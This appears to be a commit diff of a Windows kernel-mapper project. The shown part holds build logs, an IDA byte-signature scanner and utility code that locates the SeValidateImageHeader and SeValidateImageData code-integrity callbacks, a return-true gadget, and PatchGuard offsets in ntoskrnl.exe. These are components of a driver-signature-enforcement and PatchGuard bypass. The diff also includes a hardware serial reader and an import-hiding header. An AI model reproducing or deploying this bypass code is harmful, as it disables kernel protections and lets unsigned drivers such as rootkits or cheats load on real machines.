Generating code
|
||||||
|
Previous IPDB not found, fall back to full compilation.
|
||||||
|
All 518 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||||
|
Finished generating code
|
||||||
|
PdfwKrnlMapper.vcxproj -> C:\Users\dnfki\Desktop\PdfwKrnlMapper\x64\Release\PdfwKrnlMapper.exe
|
||||||
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.obj
Normal file
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.obj
Normal file
Binary file not shown.
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.tlog/CL.command.1.tlog
Normal file
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.tlog/CL.command.1.tlog
Normal file
Binary file not shown.
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.tlog/CL.read.1.tlog
Normal file
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.tlog/CL.read.1.tlog
Normal file
Binary file not shown.
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.tlog/CL.write.1.tlog
Normal file
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.tlog/CL.write.1.tlog
Normal file
Binary file not shown.
@@ -0,0 +1,5 @@
|
|||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Bypass.cpp;C:\Users\dnfki\Desktop\PdfwKrnlMapper\PdfwKrnlMapper\x64\Release\Bypass.obj
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\PdfwKrnlMapper.cpp;C:\Users\dnfki\Desktop\PdfwKrnlMapper\PdfwKrnlMapper\x64\Release\PdfwKrnlMapper.obj
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Signature\Scanner.cpp;C:\Users\dnfki\Desktop\PdfwKrnlMapper\PdfwKrnlMapper\x64\Release\Scanner.obj
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Utils\Utils.cpp;C:\Users\dnfki\Desktop\PdfwKrnlMapper\PdfwKrnlMapper\x64\Release\Utils.obj
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\Vuln\Vuln.cpp;C:\Users\dnfki\Desktop\PdfwKrnlMapper\PdfwKrnlMapper\x64\Release\Vuln.obj
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.26100.0:
|
||||||
|
Release|x64|C:\Users\dnfki\Desktop\PdfwKrnlMapper\|
|
||||||
Binary file not shown.
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.tlog/link.read.1.tlog
Normal file
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.tlog/link.read.1.tlog
Normal file
Binary file not shown.
@@ -0,0 +1,3 @@
|
|||||||
|
^C:\USERS\DNFKI\DESKTOP\PDFWKRNLMAPPER\PDFWKRNLMAPPER\X64\RELEASE\BYPASS.OBJ|C:\USERS\DNFKI\DESKTOP\PDFWKRNLMAPPER\PDFWKRNLMAPPER\X64\RELEASE\PDFWKRNLMAPPER.OBJ|C:\USERS\DNFKI\DESKTOP\PDFWKRNLMAPPER\PDFWKRNLMAPPER\X64\RELEASE\SCANNER.OBJ|C:\USERS\DNFKI\DESKTOP\PDFWKRNLMAPPER\PDFWKRNLMAPPER\X64\RELEASE\UTILS.OBJ|C:\USERS\DNFKI\DESKTOP\PDFWKRNLMAPPER\PDFWKRNLMAPPER\X64\RELEASE\VULN.OBJ
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\PdfwKrnlMapper\x64\Release\PdfwKrnlMapper.IPDB
|
||||||
|
C:\Users\dnfki\Desktop\PdfwKrnlMapper\PdfwKrnlMapper\x64\Release\PdfwKrnlMapper.iobj
|
||||||
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.tlog/link.write.1.tlog
Normal file
BIN
PdfwKrnlMapper/x64/Release/PdfwKrnlMapper.tlog/link.write.1.tlog
Normal file
Binary file not shown.
BIN
PdfwKrnlMapper/x64/Release/Scanner.obj
Normal file
BIN
PdfwKrnlMapper/x64/Release/Scanner.obj
Normal file
Binary file not shown.
BIN
PdfwKrnlMapper/x64/Release/Utils.obj
Normal file
BIN
PdfwKrnlMapper/x64/Release/Utils.obj
Normal file
Binary file not shown.
BIN
PdfwKrnlMapper/x64/Release/Vuln.obj
Normal file
BIN
PdfwKrnlMapper/x64/Release/Vuln.obj
Normal file
Binary file not shown.
BIN
PdfwKrnlMapper/x64/Release/vc143.pdb
Normal file
BIN
PdfwKrnlMapper/x64/Release/vc143.pdb
Normal file
Binary file not shown.
133
Signature/Scanner.cpp
Normal file
133
Signature/Scanner.cpp
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
#include "Scanner.h"
|
||||||
|
|
||||||
|
namespace scanner
|
||||||
|
{
|
||||||
|
std::vector<std::optional<uint8_t>> parse_ida_signature(const char* sig) {
|
||||||
|
std::vector<std::optional<uint8_t>> bytes;
|
||||||
|
std::stringstream ss(sig);
|
||||||
|
|
||||||
|
while (!ss.eof()) {
|
||||||
|
std::string byte_str;
|
||||||
|
ss >> byte_str;
|
||||||
|
|
||||||
|
if (byte_str == "?" || byte_str == "??") {
|
||||||
|
bytes.push_back(std::nullopt);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (byte_str.length() != 2) {
|
||||||
|
throw std::runtime_error("Invalid byte in IDA signature: " + byte_str);
|
||||||
|
}
|
||||||
|
|
||||||
|
char* end;
|
||||||
|
long value = strtol(byte_str.c_str(), &end, 16);
|
||||||
|
|
||||||
|
if (*end != '\0') {
|
||||||
|
throw std::runtime_error("Invalid byte in IDA signature: " + byte_str);
|
||||||
|
}
|
||||||
|
|
||||||
|
bytes.push_back(static_cast<uint8_t>(value));
|
||||||
|
}
|
||||||
|
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
pattern::pattern(const std::string& module) : m_module(module.c_str()), m_module_name(module), m_result(0, (uintptr_t)0)
|
||||||
|
{
|
||||||
|
m_module_handle = LoadLibraryA(m_module_name.c_str());
|
||||||
|
|
||||||
|
if (m_module_handle == nullptr) {
|
||||||
|
throw std::runtime_error("Could not find module: " + m_module_name);
|
||||||
|
}
|
||||||
|
|
||||||
|
MODULEINFO mi = { 0 };
|
||||||
|
|
||||||
|
if (!GetModuleInformation(GetCurrentProcess(), m_module_handle, &mi, sizeof(mi))) {
|
||||||
|
throw std::runtime_error("Could not get module information");
|
||||||
|
}
|
||||||
|
m_module_size = mi.SizeOfImage;
|
||||||
|
}
|
||||||
|
|
||||||
|
pattern::~pattern()
|
||||||
|
{
|
||||||
|
if (m_module_handle) FreeLibrary(m_module_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
pattern& pattern::scan_now(const char* sig_name, const char* ida_sig, const char* section_name)
|
||||||
|
{
|
||||||
|
auto signature = parse_ida_signature(ida_sig);
|
||||||
|
|
||||||
|
std::uintptr_t base_address = reinterpret_cast<std::uintptr_t>(m_module_handle);
|
||||||
|
|
||||||
|
std::size_t sig_size = signature.size();
|
||||||
|
std::uintptr_t end_address = base_address + m_module_size - sig_size;
|
||||||
|
|
||||||
|
std::array<int, 256> bad_char;
|
||||||
|
for (int i = 0; i < 256; ++i) {
|
||||||
|
bad_char[i] = sig_size;
|
||||||
|
}
|
||||||
|
for (int i = 0; i < sig_size - 1; ++i) {
|
||||||
|
if (signature[i].has_value()) {
|
||||||
|
bad_char[signature[i].value()] = sig_size - i - 1;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
for (int j = 0; j < 256; ++j) {
|
||||||
|
bad_char[j] = min(bad_char[j], sig_size - i - 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
std::uintptr_t i = 0;
|
||||||
|
if (section_name == nullptr) i = base_address + sig_size - 1;
|
||||||
|
else
|
||||||
|
{
|
||||||
|
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)base_address;
|
||||||
|
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)base_address + pDosHeader->e_lfanew);
|
||||||
|
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
|
||||||
|
|
||||||
|
LPVOID lpFoundAddress = NULL;
|
||||||
|
|
||||||
|
for (WORD j = 0; j < pNtHeaders->FileHeader.NumberOfSections; j++)
|
||||||
|
{
|
||||||
|
if (strcmp((CHAR*)pSectionHeader[j].Name, section_name) == 0)
|
||||||
|
{
|
||||||
|
lpFoundAddress = (LPVOID)((LPBYTE)base_address + pSectionHeader[j].VirtualAddress);
|
||||||
|
i = (uintptr_t)lpFoundAddress + sig_size - 1;
|
||||||
|
|
||||||
|
SIZE_T dwSectionSize = pSectionHeader[j].Misc.VirtualSize;
|
||||||
|
end_address = (uintptr_t)lpFoundAddress + dwSectionSize - sig_size;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (lpFoundAddress == NULL)
|
||||||
|
{
|
||||||
|
throw std::runtime_error(std::string("Section ") + section_name + " not found!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
while (i < end_address) {
|
||||||
|
int j = sig_size - 1;
|
||||||
|
while (j >= 0) {
|
||||||
|
if (signature[j].has_value() && signature[j].value() != *reinterpret_cast<uint8_t*>(i - sig_size + j + 1))
|
||||||
|
break;
|
||||||
|
--j;
|
||||||
|
}
|
||||||
|
if (j < 0) {
|
||||||
|
m_result = handle(i - sig_size + 1, (uintptr_t)m_module_handle);
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
i += max(bad_char[*reinterpret_cast<uint8_t*>(i)], static_cast<int>(sig_size - j - 1));
|
||||||
|
}
|
||||||
|
|
||||||
|
m_result = handle(0, (uintptr_t)m_module_handle);
|
||||||
|
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
handle pattern::get_result()
|
||||||
|
{
|
||||||
|
return m_result;
|
||||||
|
}
|
||||||
|
}
|
||||||
103
Signature/Scanner.h
Normal file
103
Signature/Scanner.h
Normal file
@@ -0,0 +1,103 @@
|
|||||||
|
#pragma once
|
||||||
|
// IDA search pattern library
|
||||||
|
// 4l3x777
|
||||||
|
|
||||||
|
#include <cstdint>
|
||||||
|
#include <string>
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Psapi.h>
|
||||||
|
#include <vector>
|
||||||
|
#include <optional>
|
||||||
|
#include <sstream>
|
||||||
|
#include <array>
|
||||||
|
|
||||||
|
namespace scanner
|
||||||
|
{
|
||||||
|
class handle {
|
||||||
|
public:
|
||||||
|
handle() = default;
|
||||||
|
explicit handle(uintptr_t address, uintptr_t module_handle) : m_address(address), m_module_handle(module_handle) {}
|
||||||
|
|
||||||
|
template <typename T>
|
||||||
|
T as() const {
|
||||||
|
return reinterpret_cast<T>(m_address);
|
||||||
|
}
|
||||||
|
|
||||||
|
handle add(uintptr_t offset) const {
|
||||||
|
if (m_address != 0)
|
||||||
|
{
|
||||||
|
return handle(m_address + offset, m_module_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
handle sub(uintptr_t offset) const {
|
||||||
|
if (m_address != 0)
|
||||||
|
{
|
||||||
|
return handle(m_address - offset, m_module_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
handle rip() const {
|
||||||
|
if (m_address != 0)
|
||||||
|
{
|
||||||
|
auto offset = *as<int32_t*>();
|
||||||
|
return add(offset + sizeof(int32_t));
|
||||||
|
}
|
||||||
|
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename T>
|
||||||
|
T get_base() const {
|
||||||
|
return reinterpret_cast<T>(m_module_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
uintptr_t m_address = 0;
|
||||||
|
uintptr_t m_module_handle = 0;
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
class _module {
|
||||||
|
public:
|
||||||
|
_module(const char* module) : m_module(module)
|
||||||
|
{
|
||||||
|
m_module_handle = LoadLibraryA(m_module);
|
||||||
|
}
|
||||||
|
|
||||||
|
handle get_export(const char* func)
|
||||||
|
{
|
||||||
|
return handle((std::uintptr_t)GetProcAddress(m_module_handle, func), (std::uintptr_t)m_module_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE get_handle()
|
||||||
|
{
|
||||||
|
return m_module_handle;
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
const char* m_module;
|
||||||
|
HMODULE m_module_handle;
|
||||||
|
};
|
||||||
|
|
||||||
|
class pattern {
|
||||||
|
public:
|
||||||
|
pattern(const std::string& module);
|
||||||
|
~pattern() noexcept;
|
||||||
|
|
||||||
|
pattern& scan_now(const char* sig_name, const char* ida_sig, const char* section_name = nullptr);
|
||||||
|
|
||||||
|
handle get_result();
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::string m_module_name;
|
||||||
|
_module m_module;
|
||||||
|
size_t m_module_size;
|
||||||
|
HMODULE m_module_handle;
|
||||||
|
handle m_result;
|
||||||
|
};
|
||||||
|
}
|
||||||
62
Utils/Utils.cpp
Normal file
62
Utils/Utils.cpp
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
#include "Utils.h"
|
||||||
|
|
||||||
|
ULONG64 KernelUtils::GetNtoskrnlBase()
|
||||||
|
{
|
||||||
|
DWORD CbNeeded = 0;
|
||||||
|
LPVOID Drivers[1024] = { 0 };
|
||||||
|
if (K32EnumDeviceDrivers(Drivers, sizeof(Drivers), &CbNeeded))
|
||||||
|
return (ULONG64)Drivers[0];
|
||||||
|
else
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG64 KernelUtils::GetSeValidateImageHeaderOffset()
|
||||||
|
{
|
||||||
|
scanner::handle SeValidateImageHeaderSignature = scanner::pattern("C:\\windows\\system32\\ntoskrnl.exe").scan_now("SeValidateImageHeader", "48 39 35 ? ? ? ? 48 8B F9 48 89 70 F0 44 8B DE").get_result();
|
||||||
|
uint8_t* SignaturePatternBegin = SeValidateImageHeaderSignature.as<uint8_t*>();
|
||||||
|
ULONG32 RIPOffsetSeValidateImageHeaderCallback = *(ULONG32*)(&SignaturePatternBegin[3]);
|
||||||
|
ULONG32 RIPInstructionLength = 7;
|
||||||
|
ULONG64* SeValidateImageHeaderCallbackAddress = SeValidateImageHeaderSignature.add(RIPOffsetSeValidateImageHeaderCallback + RIPInstructionLength).as<ULONG64*>();
|
||||||
|
|
||||||
|
return (ULONG64)SeValidateImageHeaderCallbackAddress - (ULONG64)SeValidateImageHeaderSignature.get_base<uint64_t*>();
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG64 KernelUtils::GetSeValidateImageDataOffset()
|
||||||
|
{
|
||||||
|
scanner::handle SeValidateImageDataSignature = scanner::pattern("C:\\windows\\system32\\ntoskrnl.exe").scan_now("SeValidateImageData", "48 8B 05 ? ? ? ? 4C 8B D1 48 85 C0 74 ?").get_result();
|
||||||
|
auto SignaturePatternBegin = SeValidateImageDataSignature.as<uint8_t*>();
|
||||||
|
|
||||||
|
ULONG32 RIPOffsetSeValidateImageDataCallback = *(ULONG32*)(&SignaturePatternBegin[3]);
|
||||||
|
ULONG32 RIPInstructionLength = 7;
|
||||||
|
ULONG64* SeValidateImageDataCallbackAddress = SeValidateImageDataSignature.add(RIPOffsetSeValidateImageDataCallback + RIPInstructionLength).as<ULONG64*>();
|
||||||
|
|
||||||
|
return (ULONG64)SeValidateImageDataCallbackAddress - (ULONG64)SeValidateImageDataSignature.get_base<ULONG64*>();
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG64 KernelUtils::GetReturnOffset()
|
||||||
|
{
|
||||||
|
scanner::handle RetSignature = scanner::pattern("C:\\windows\\system32\\ntoskrnl.exe").scan_now("ret", "B8 01 00 00 00 C3", ".text").get_result();
|
||||||
|
ULONG64* RetAddress = RetSignature.as<ULONG64*>();
|
||||||
|
|
||||||
|
return (ULONG64)RetSignature.as<ULONG64*>() - (ULONG64)RetSignature.get_base<ULONG64*>();
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG64 KernelUtils::GetPatchGaurdOffset()
|
||||||
|
{
|
||||||
|
scanner::handle PatchGuardSignature = scanner::pattern("C:\\windows\\system32\\ntoskrnl.exe").scan_now("PatchGuard", "38 0D ? ? ? ? 75 02 EB FE").get_result();
|
||||||
|
|
||||||
|
uint8_t* SignaturePatternBegin = PatchGuardSignature.as<uint8_t*>();
|
||||||
|
ULONG32 RIPOffsetPatchGuardCallback = *(ULONG32*)(&SignaturePatternBegin[2]);
|
||||||
|
ULONG32 RIPInstructionLength = 6;
|
||||||
|
ULONG64* PatchGuardCallbackAddress = PatchGuardSignature.add(RIPOffsetPatchGuardCallback + RIPInstructionLength).as<ULONG64*>();
|
||||||
|
|
||||||
|
return (ULONG64)PatchGuardCallbackAddress - (ULONG64)PatchGuardSignature.get_base<ULONG64*>();
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG64 KernelUtils::GetPatchGaurdValueOffset()
|
||||||
|
{
|
||||||
|
scanner::handle PatchGuardValueSignature = scanner::pattern("C:\\windows\\system32\\ntoskrnl.exe").scan_now("patchguardvalue", "00 00 00 00 00 00 00 00", ".rdata").get_result();
|
||||||
|
|
||||||
|
ULONG64* PatchGuardValueAddress = PatchGuardValueSignature.as<uint64_t*>();
|
||||||
|
return (ULONG64)PatchGuardValueAddress - (ULONG64)PatchGuardValueSignature.get_base<uint64_t*>();
|
||||||
|
}
|
||||||
12
Utils/Utils.h
Normal file
12
Utils/Utils.h
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "../Bypass.h"
|
||||||
|
|
||||||
|
namespace KernelUtils
|
||||||
|
{
|
||||||
|
ULONG64 GetNtoskrnlBase();
|
||||||
|
ULONG64 GetSeValidateImageHeaderOffset();
|
||||||
|
ULONG64 GetSeValidateImageDataOffset();
|
||||||
|
ULONG64 GetReturnOffset();
|
||||||
|
ULONG64 GetPatchGaurdOffset();
|
||||||
|
ULONG64 GetPatchGaurdValueOffset();
|
||||||
|
}
|
||||||
33
Utils/hardware.hpp
Normal file
33
Utils/hardware.hpp
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
#include <string>
|
||||||
|
#include <iostream>
|
||||||
|
#include "vector.h"
|
||||||
|
#include <tuple>
|
||||||
|
#include <cmath>
|
||||||
|
|
||||||
|
std::string GetDiskVolumeSerialNumber()
|
||||||
|
{
|
||||||
|
char volumeName[MAX_PATH + 1] = { 0 };
|
||||||
|
char fileSystemName[MAX_PATH + 1] = { 0 };
|
||||||
|
DWORD serialNumber = 0;
|
||||||
|
DWORD maxComponentLength = 0;
|
||||||
|
DWORD fileSystemFlags = 0;
|
||||||
|
|
||||||
|
if (GetVolumeInformationA("C:\\", volumeName, ARRAYSIZE(volumeName),
|
||||||
|
&serialNumber, &maxComponentLength, &fileSystemFlags,
|
||||||
|
fileSystemName, ARRAYSIZE(fileSystemName)))
|
||||||
|
{
|
||||||
|
// Convert serial number to a string
|
||||||
|
std::string serialNumberStr = std::to_string(serialNumber);
|
||||||
|
|
||||||
|
return serialNumberStr;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// Handle error
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
std::cerr << "Failed to get volume information. Error code: " << error << std::endl;
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
}
|
||||||
723
Utils/lazy_importer.hpp
Normal file
723
Utils/lazy_importer.hpp
Normal file
@@ -0,0 +1,723 @@
|
|||||||
|
/*
|
||||||
|
* Copyright 2018-2022 Justas Masiulis
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
// === FAQ === documentation is available at https://github.com/JustasMasiulis/lazy_importer
|
||||||
|
// * Code doesn't compile with errors about pointer conversion:
|
||||||
|
// - Try using `nullptr` instead of `NULL` or call `get()` instead of using the overloaded operator()
|
||||||
|
// * Lazy importer can't find the function I want:
|
||||||
|
// - Double check that the module in which it's located in is actually loaded
|
||||||
|
// - Try #define LAZY_IMPORTER_CASE_INSENSITIVE
|
||||||
|
// This will start using case insensitive comparison globally
|
||||||
|
// - Try #define LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS
|
||||||
|
// This will enable forwarded export resolution globally instead of needing explicit `forwarded()` calls
|
||||||
|
|
||||||
|
#ifndef LAZY_IMPORTER_HPP
|
||||||
|
#define LAZY_IMPORTER_HPP
|
||||||
|
|
||||||
|
|
||||||
|
#define LI_FN(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), decltype(&name)>()
|
||||||
|
|
||||||
|
#define LI_FN_DEF(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), name>()
|
||||||
|
|
||||||
|
#define LI_MODULE(name) ::li::detail::lazy_module<LAZY_IMPORTER_KHASH(name)>()
|
||||||
|
|
||||||
|
#ifndef LAZY_IMPORTER_CPP_FORWARD
|
||||||
|
#ifdef LAZY_IMPORTER_NO_CPP_FORWARD
|
||||||
|
#define LAZY_IMPORTER_CPP_FORWARD(t, v) v
|
||||||
|
#else
|
||||||
|
#include <utility>
|
||||||
|
#define LAZY_IMPORTER_CPP_FORWARD(t, v) std::forward<t>( v )
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <intrin.h>
|
||||||
|
|
||||||
|
#ifndef LAZY_IMPORTER_NO_FORCEINLINE
|
||||||
|
#if defined(_MSC_VER)
|
||||||
|
#define LAZY_IMPORTER_FORCEINLINE __forceinline
|
||||||
|
#elif defined(__GNUC__) && __GNUC__ > 3
|
||||||
|
#define LAZY_IMPORTER_FORCEINLINE inline __attribute__((__always_inline__))
|
||||||
|
#else
|
||||||
|
#define LAZY_IMPORTER_FORCEINLINE inline
|
||||||
|
#endif
|
||||||
|
#else
|
||||||
|
#define LAZY_IMPORTER_FORCEINLINE inline
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef LAZY_IMPORTER_CASE_INSENSITIVE
|
||||||
|
#define LAZY_IMPORTER_CASE_SENSITIVITY false
|
||||||
|
#else
|
||||||
|
#define LAZY_IMPORTER_CASE_SENSITIVITY true
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define LAZY_IMPORTER_STRINGIZE(x) #x
|
||||||
|
#define LAZY_IMPORTER_STRINGIZE_EXPAND(x) LAZY_IMPORTER_STRINGIZE(x)
|
||||||
|
|
||||||
|
#define LAZY_IMPORTER_KHASH(str) ::li::detail::khash(str, \
|
||||||
|
::li::detail::khash_impl( __TIME__ __DATE__ LAZY_IMPORTER_STRINGIZE_EXPAND(__LINE__) LAZY_IMPORTER_STRINGIZE_EXPAND(__COUNTER__), 2166136261 ))
|
||||||
|
|
||||||
|
namespace li { namespace detail {
|
||||||
|
|
||||||
|
namespace win {
|
||||||
|
|
||||||
|
struct LIST_ENTRY_T {
|
||||||
|
const char* Flink;
|
||||||
|
const char* Blink;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct UNICODE_STRING_T {
|
||||||
|
unsigned short Length;
|
||||||
|
unsigned short MaximumLength;
|
||||||
|
wchar_t* Buffer;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct PEB_LDR_DATA_T {
|
||||||
|
unsigned long Length;
|
||||||
|
unsigned long Initialized;
|
||||||
|
const char* SsHandle;
|
||||||
|
LIST_ENTRY_T InLoadOrderModuleList;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct PEB_T {
|
||||||
|
unsigned char Reserved1[2];
|
||||||
|
unsigned char BeingDebugged;
|
||||||
|
unsigned char Reserved2[1];
|
||||||
|
const char* Reserved3[2];
|
||||||
|
PEB_LDR_DATA_T* Ldr;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct LDR_DATA_TABLE_ENTRY_T {
|
||||||
|
LIST_ENTRY_T InLoadOrderLinks;
|
||||||
|
LIST_ENTRY_T InMemoryOrderLinks;
|
||||||
|
LIST_ENTRY_T InInitializationOrderLinks;
|
||||||
|
const char* DllBase;
|
||||||
|
const char* EntryPoint;
|
||||||
|
union {
|
||||||
|
unsigned long SizeOfImage;
|
||||||
|
const char* _dummy;
|
||||||
|
};
|
||||||
|
UNICODE_STRING_T FullDllName;
|
||||||
|
UNICODE_STRING_T BaseDllName;
|
||||||
|
|
||||||
|
LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T*
|
||||||
|
load_order_next() const noexcept
|
||||||
|
{
|
||||||
|
return reinterpret_cast<const LDR_DATA_TABLE_ENTRY_T*>(
|
||||||
|
InLoadOrderLinks.Flink);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
struct IMAGE_DOS_HEADER { // DOS .EXE header
|
||||||
|
unsigned short e_magic; // Magic number
|
||||||
|
unsigned short e_cblp; // Bytes on last page of file
|
||||||
|
unsigned short e_cp; // Pages in file
|
||||||
|
unsigned short e_crlc; // Relocations
|
||||||
|
unsigned short e_cparhdr; // Size of header in paragraphs
|
||||||
|
unsigned short e_minalloc; // Minimum extra paragraphs needed
|
||||||
|
unsigned short e_maxalloc; // Maximum extra paragraphs needed
|
||||||
|
unsigned short e_ss; // Initial (relative) SS value
|
||||||
|
unsigned short e_sp; // Initial SP value
|
||||||
|
unsigned short e_csum; // Checksum
|
||||||
|
unsigned short e_ip; // Initial IP value
|
||||||
|
unsigned short e_cs; // Initial (relative) CS value
|
||||||
|
unsigned short e_lfarlc; // File address of relocation table
|
||||||
|
unsigned short e_ovno; // Overlay number
|
||||||
|
unsigned short e_res[4]; // Reserved words
|
||||||
|
unsigned short e_oemid; // OEM identifier (for e_oeminfo)
|
||||||
|
unsigned short e_oeminfo; // OEM information; e_oemid specific
|
||||||
|
unsigned short e_res2[10]; // Reserved words
|
||||||
|
long e_lfanew; // File address of new exe header
|
||||||
|
};
|
||||||
|
|
||||||
|
struct IMAGE_FILE_HEADER {
|
||||||
|
unsigned short Machine;
|
||||||
|
unsigned short NumberOfSections;
|
||||||
|
unsigned long TimeDateStamp;
|
||||||
|
unsigned long PointerToSymbolTable;
|
||||||
|
unsigned long NumberOfSymbols;
|
||||||
|
unsigned short SizeOfOptionalHeader;
|
||||||
|
unsigned short Characteristics;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct IMAGE_EXPORT_DIRECTORY {
|
||||||
|
unsigned long Characteristics;
|
||||||
|
unsigned long TimeDateStamp;
|
||||||
|
unsigned short MajorVersion;
|
||||||
|
unsigned short MinorVersion;
|
||||||
|
unsigned long Name;
|
||||||
|
unsigned long Base;
|
||||||
|
unsigned long NumberOfFunctions;
|
||||||
|
unsigned long NumberOfNames;
|
||||||
|
unsigned long AddressOfFunctions; // RVA from base of image
|
||||||
|
unsigned long AddressOfNames; // RVA from base of image
|
||||||
|
unsigned long AddressOfNameOrdinals; // RVA from base of image
|
||||||
|
};
|
||||||
|
|
||||||
|
struct IMAGE_DATA_DIRECTORY {
|
||||||
|
unsigned long VirtualAddress;
|
||||||
|
unsigned long Size;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct IMAGE_OPTIONAL_HEADER64 {
|
||||||
|
unsigned short Magic;
|
||||||
|
unsigned char MajorLinkerVersion;
|
||||||
|
unsigned char MinorLinkerVersion;
|
||||||
|
unsigned long SizeOfCode;
|
||||||
|
unsigned long SizeOfInitializedData;
|
||||||
|
unsigned long SizeOfUninitializedData;
|
||||||
|
unsigned long AddressOfEntryPoint;
|
||||||
|
unsigned long BaseOfCode;
|
||||||
|
unsigned long long ImageBase;
|
||||||
|
unsigned long SectionAlignment;
|
||||||
|
unsigned long FileAlignment;
|
||||||
|
unsigned short MajorOperatingSystemVersion;
|
||||||
|
unsigned short MinorOperatingSystemVersion;
|
||||||
|
unsigned short MajorImageVersion;
|
||||||
|
unsigned short MinorImageVersion;
|
||||||
|
unsigned short MajorSubsystemVersion;
|
||||||
|
unsigned short MinorSubsystemVersion;
|
||||||
|
unsigned long Win32VersionValue;
|
||||||
|
unsigned long SizeOfImage;
|
||||||
|
unsigned long SizeOfHeaders;
|
||||||
|
unsigned long CheckSum;
|
||||||
|
unsigned short Subsystem;
|
||||||
|
unsigned short DllCharacteristics;
|
||||||
|
unsigned long long SizeOfStackReserve;
|
||||||
|
unsigned long long SizeOfStackCommit;
|
||||||
|
unsigned long long SizeOfHeapReserve;
|
||||||
|
unsigned long long SizeOfHeapCommit;
|
||||||
|
unsigned long LoaderFlags;
|
||||||
|
unsigned long NumberOfRvaAndSizes;
|
||||||
|
IMAGE_DATA_DIRECTORY DataDirectory[16];
|
||||||
|
};
|
||||||
|
|
||||||
|
struct IMAGE_OPTIONAL_HEADER32 {
|
||||||
|
unsigned short Magic;
|
||||||
|
unsigned char MajorLinkerVersion;
|
